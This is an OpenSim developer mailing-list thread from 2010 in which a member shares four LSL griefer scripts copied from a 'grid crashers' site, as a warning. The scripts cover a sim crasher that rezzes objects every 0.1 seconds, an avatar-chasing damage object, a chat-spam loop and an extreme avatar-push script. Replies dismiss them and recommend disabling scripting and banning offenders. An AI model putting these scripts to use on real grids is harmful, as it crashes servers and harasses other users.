[Opensim-dev] Is this a real problem?

Rob Nelson nexisentertainment at gmail.com
Mon Nov 1 22:28:22 UTC 2010


Most TPV viewers have anti-spam systems.  Only LL's doesn't, go figure.

For people who are concerned about this: Just shut off scripting in your 
sim and ban the idiot responsible, and report to the appropriate grid gods.

On 11/1/2010 3:20 PM, Michael Cerquoni wrote:
> these look like kiddie griefer scripts that pretty much any noob could 
> make to me.
>
> On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <karenpalensl at gmail.com 
> <mailto:karenpalensl at gmail.com>> wrote:
>
>     I ran across the following on one of the "less reputable" web
>     sites that I read. Consider it a "heads up" if the scripts really
>     do what they claim!
>
>     *OS GRID CRASHERS AND SPAMMERS * A virtual world without
>     evil.....not on my watch
>
>     These all work if the threat level is set high enough on the sim
>
>
>     vector motion = <0,0,-37>;
>     integer jumps = 2;
>     default
>     {
>     state_entry()
>     {
>     llListen(10,"",llGetOwner(),"");
>     }
>     listen( integer channel, string name, key id, string msg)
>     {
>     if(msg==".5560")
>     {
>     llDie();
>     }
>     }
>
>     touch_start(integer total_number)
>     {
>     llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you
>     ",["YAY!!!"],5560);
>     llSetAlpha(0.0,ALL_SIDES);
>     llSetStatus(STATUS_PHANTOM,TRUE);
>     integer m;
>     vector local = llGetLocalPos();
>     for(m=0;m<jumps;m++)
>     {
>     llSetPos(local+m*motion);
>     }
>     llSetTimerEvent(0.1);
>     }
>     timer()
>     {
>     llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR,
>     ZERO_ROTATION,42);
>
>     }
>     }
>
>     --------------------------------------------------------------------
>
>     float movespeed = 0.1; //because lower is faster
>
>     //Set how often to track avatars
>     float tick = 0.1;
>
>     default
>     {
>     state_entry()
>     {
>     vector pos = llGetPos();
>     llSetStatus(STATUS_PHYSICS, TRUE);
>     llSetDamage(100.0);
>     llSleep(0.1);
>     llMoveToTarget(pos,0.1);
>     llSensorRepeat("","",AGENT,200000,7000*PI,tick);
>     }
>     sensor(integer total_number)
>     {
>     vector pos = llDetectedPos(0);
>     vector offset =<-0,0,0>;
>     pos+=offset;
>     if (llDetectedOwner(0) == llGetOwner())
>     {
>     }
>     else
>     {
>     llMoveToTarget(pos,movespeed);
>     llLookAt(pos,2,1);
>     }
>     }
>     }
>     ------------------------------------------------------------------
>
>     default
>     {
>     state_entry()
>     {
>     llSay(0, "Here is a fork and knife your gonna need it");
>     }
>
>     collision_start(integer total_number)
>     {
>     while(1)
>     {
>     llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os
>     grid:) ");
>
>     }
>     }
>     }
>     ---------------------------------------------------------------
>     take the verticle tour
>     ---------------------------------------------------------------
>     default
>     {
>     state_entry ( )
>     {
>     llListen ( 0, "", NULL_KEY, "0/1" );
>     llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );
>     }
>
>     listen ( integer Channel, string Name, key UUID, string Message )
>     {
>     state Off;
>     }
>
>     sensor ( integer Number )
>     {
>     vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos ( ) );
>     float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) *
>     llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), 3 );
>     llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>,
>     ZERO_VECTOR, FALSE );
>
>     }
>     }
>
>     state Off
>     {
>     state_entry ( )
>     {
>     llListen ( 0, "", NULL_KEY, "0/1" );
>     }
>
>     listen ( integer Channel, string Name, key UUID, string Message )
>     {
>     state default;
>     }
>     }
>     ------------------------------------------------------------------------
>
>     I am the devil and i'm here to do the devils work
>
>
>     _______________________________________________
>     Opensim-dev mailing list
>     Opensim-dev at lists.berlios.de <mailto:Opensim-dev at lists.berlios.de>
>     https://lists.berlios.de/mailman/listinfo/opensim-dev
>
>
>
>
> -- 
> Michael Emory Cerquoni - Nebadon Izumi @ http://osgrid.org
>
>
> _______________________________________________
> Opensim-dev mailing list
> Opensim-dev at lists.berlios.de
> https://lists.berlios.de/mailman/listinfo/opensim-dev

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